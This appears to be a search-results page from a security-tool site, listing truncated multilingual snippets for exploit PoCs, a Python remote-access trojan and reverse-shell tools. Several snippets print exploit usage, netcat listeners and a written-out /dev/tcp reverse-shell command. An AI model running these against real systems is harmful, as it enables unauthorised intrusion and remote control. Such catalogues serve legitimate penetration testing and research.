8648 matches found
Reverse_HTTPS_Bot
ReverseHTTPSBot 0.8 설명: 침투 테스트를 위한 파이썬 기반 HTTPS 원격 액세스 트로이목마입니다. 서버는 현재 NodeJS 기반입니다. 봇 요구 사항: pip install requests pip install pyscreenshot 서버 요구 사항: sh setup.sh 테스트용 자체 서명 인증서 및 키 생성을 위해 sudo npm install restify, express, lodash, save, sockjs, body-parser index.html의 새 SockJS 객체에서 서버 IP를 변경하는 것...
CVE-2023-38646
CVE-2023-38646 - Metabase 预认证 RCE ⚠️ 仅供教育和授权的安全研究使用 原始漏洞利用作者 非常感谢原始 PoC 作者 securezeron 步骤指南 1. 在你的攻击者机器上设置监听器： root@kitploit: nc -nlvp 4444 2. 然后，运行此命令： root@kitploit: python3 CVE-2023-38646-Reverse-Shell.py -h python3 CVE-2023-38646-Reverse-Shell.py --rhost http://data.analytical.htb/ --lhost...
mcreator
mcreator Encoded Reverse Shell Generator With Techniques To Bypass AV's Installation root@kitploit: git clone https://github.com/blacknbunny/mcreator.git && cd mcreator/ && python mcreator.py Version python 2.7. can't be lower or higher than 2.7 cause of the """ syntax in scripts. Runnig mcreator...
Philips-PM-5139-5138A-5136-Firmware-Project
Philips PM5139 — ファームウェアリバースエンジニアリング 1994年頃の20 MHzファンクションジェネレータをソフトウェア的に分解した：2つの EPROMダンプ、測定器として使う8051エミュレータ、そして35 セクションのドキュメント。そこではすべての主張がリスティングの アドレス、エミュレータによる測定、または回路図によって裏付けられている。 その果てにあるのは、Philipsが出荷した欠陥を修正したファームウェア V2.0 、 独自の6つの任意波形、そしてオリジナルのROMを命令単位で実行する ブラウザシミュレータである。...
CVE-2026-42945-NGINX-Rift
CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...
htb-wifinetictwo-exploit
CVE-2021-31630 익스플로잇 PoC 이 Python 스크립트는 HackTheBox의 WifineticTwo 박스에서 실행되는 OpenPLC의 취약점을 대상으로 하는 CVE-2021-31630용 PoCProof of Concept 익스플로잇입니다. 통제된 환경에서 익스플로잇 과정을 시연하는 것을 목적으로 하며 교육 목적으로만 설계되었습니다. 면책 조항 이 도구는 보안 연구 및 교육 목적으로만 사용됩니다. 사전 상호 동의 없이 대상을 공격하기 위해 이 도구를 사용하는 것은 불법입니다. 개발자는 이 익스플로잇을 오용하는...
IPFire_2.25_RCE_Authenticated
IPFire 2.25 원격 코드 실행 인증됨 - CVE-2021-33393 본 익스플로잇은 CVE-2021-33393 https://nvd.nist.gov/vuln/detail/CVE-2021-33393을 기반으로 하며, Mücahit Saratar https://github.com/KaanaryOverFlow/ipfire-2-25-auth-rce의 원본 익스플로잇을 확장하여 루트 권한으로 리버스 셸을 획득합니다. 사용법 리스너 시작: nc -lvnp 4444 익스플로잇 실행: python exploit.py...
CVE-2024-23692
CVE-2024-23692 - Rejetto HFS 원격 코드 실행 RCE CVE-2024-23692 에 대한 전술 문서 및 익스플로잇 가이드로, Rejetto HTTP File Server HFS 2.3m 이전 버전에 영향을 미치는 인증되지 않은 치명적인 원격 코드 실행 RCE 취약점입니다. 이 가이드는 인메모리 리버스 셸 RAM 전용 기법을 활용하여 시그니처 기반 안티바이러스/EDR 디스크 쓰기 탐지를 성공적으로 회피합니다. 면책 조항: 이 저장소와 그 내용은 승인된 보안 평가, 침투 테스트, 버그 바운티 시뮬레이션, 방어...
cve-2023-30861-poc
CVE-2023-30861 PoC 개념 증명 ⚠️ 주의 이 프로젝트는 Flask의 CVE-2023-30861 취약점을 재현하기 위한 목적의 PoC입니다. 절대로 인터넷에 노출된 환경에서 실행하지 마세요. 외부 접근이 가능한 네트워크에 연결되면 실제 공격에 악용될 수 있습니다. ⚠️ 경고 이 프로젝트는 Flask의 CVE-2023-30861 취약점을 시연하기 위한 개념 증명PoC입니다. 공개적으로 접근 가능한 환경에서 실행하지 마세요. 인터넷에 노출되면 실제 공격에 악용될 수 있습니다. 📦 프로젝트 개요 Flask와 reverse...
CVE-2021-25646
사용법: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd 리버스 셸은 다음과 같습니다： 리버스 셸 스크립트 작성 python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" 셸 스크립트에 실행 권한 부여 python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh" 셸 실행 python3...
CVE-2019-15107
CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ Se descubrió un problema en Webmin =1.920. Los parámetros "old" y "expire" en passwordchange.cgi contienen una vulnerabilidad de inyección de comandos. Uso 1. Inicia un listener en la caja roja. root@kitploit: rlwrap -cAr nc -lvp 1919 ...
webmin_1.920
CVE-2019-15107 Webmin 1.920 未認証リモートコマンド実行 これは、CVE-2019-15107 Webmin 1.920 未認証リモートコマンド実行のためのpython3スクリプトです。ファイアウォールを回避するためにmkfifoを使用してリバースシェルまたは疑似インタラクティブシェルを作成します。これは、CVE-2019-15107 Webmin 1.920 未認証リモートコマンド実行のためのpython3スクリプトです。ファイアウォールを回避するためにmkfifoを使用してリバースシェルまたは疑似インタラクティブシェルを作成します。 はじめに プログラムの実...
strapi_cms_3.0.0-beta.17.7
Strapi CMS CVE-2019-18818 및 19606 Strapi CMS 버전 3.0.0-beta.17.7 이하에서 리버스 셸을 획득하기 위한 블라인드 원격 코드 실행 시작하기 프로그램 실행 Python3 사용 root@kitploit: python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001 도움말 도움말 프롬프트 root@kitploit: python3 strapiexp....
OTRS-4.0.1-6.0.1-Remote-Command-Execution
OTRS-4.0.1-6.0.1 원격 명령 실행 이 익스플로잇은 https://www.exploit-db.com/exploits/43853 을 기반으로 개발되었습니다. OTRS 패널에 대해 인증을 수행하고 리버스 셸을 제공합니다. 사용법: python3 CVE-2017-16921.py CVE-2017-16921: OTRS 6.0.x6.0.1 포함, OTRS 5.0.x5.0.24 포함, OTRS 4.0.x4.0.26 포함에서 에이전트로 OTRS에 로그인한 공격자는 PGP와 관련된 양식 매개변수를 조작하고 OTRS 또는 웹 서버...
Codiad-CVE-2018-14009
codiad 설치 @ git clone https://github.com/Codiad/Codiad.git 재현 단계 1. Codiad 2.8.4최신 버전로 ubuntu 서버에 취약한 환경을 설정합니다. root@kitploit: @ chmod o+w config.php @ chmod o+w workspace @ chmod o+w plugins @ chmod o+w themes @ chmod o+w data 2. @ git clone...
CVE-2019-11043-Vulnerability
공동 작업자: Olaf Madejski, Andrew Masone, Nate Desany PHP-FPM 리버스 터널 악용 및 지속성 시연 CVE-2019-11043 — Debian PHP-FPM 경로 처리 취약점 프로젝트 개요 2019년 10월, Debian 보안 자문 연구원 Emil Lerner 와 Andrew Danau 는 PHP-FPM의 심각한 취약점에 대해 Debian 커뮤니티에 경고하는 공지를 발표했습니다. PHP-FPM의 경로 처리 코드에 대한 검증 부족 으로 인해, 공격자는 특정 NGINX + PHP-FPM 구성...
OpenWire-CVE-2023-46604-Investigation
OpenWire-CVE-2023-46604-Investigation OpenWire 랩 제 근무 시간 동안 2단계 SOC 분석가로서, 1단계 분석가로부터 공개적으로 접근 가능한 서버가 여러 의심스러운 외부 IP 주소와 통신하고 있다는 에스컬레이션을 받았습니다. 이에 응답하여, 표준 사고 대응IR 절차를 시작했으며, 여기에는 영향을 받은 서버를 네트워크에서 격리하여 측면 이동 및 잠재적인 데이터 유출을 방지하는 것이 포함되었습니다. 그런 다음 추가 조사를 위해 NSM 플랫폼에서 패킷 캡처PCAP 파일을 획득했습니다. 제 목표는...
WebSafeCompiler
WebSafeCompiler WSC WebSafeCompiler WSC는 Node.js를 사용하는 웹 애플리케이션과 웹사이트의 최적화, 축소minification, 난독화필요한 경우를 위해 설계된 고급 유틸리티웹사이트 컴파일러입니다. 파일 크기를 줄이거나 리버스 엔지니어링에 대한 지속적인 보호를 제공하여 웹 자산을 향상시키며, 코드가 배포 준비가 되고 안전하도록 보장합니다. !NOTE .github.io 사이트에 적합합니다. 🚀 간단한 소개 WebSafeCompiler 의 모든 잠재력을 활용하려면 터미널에서 다음 명령을...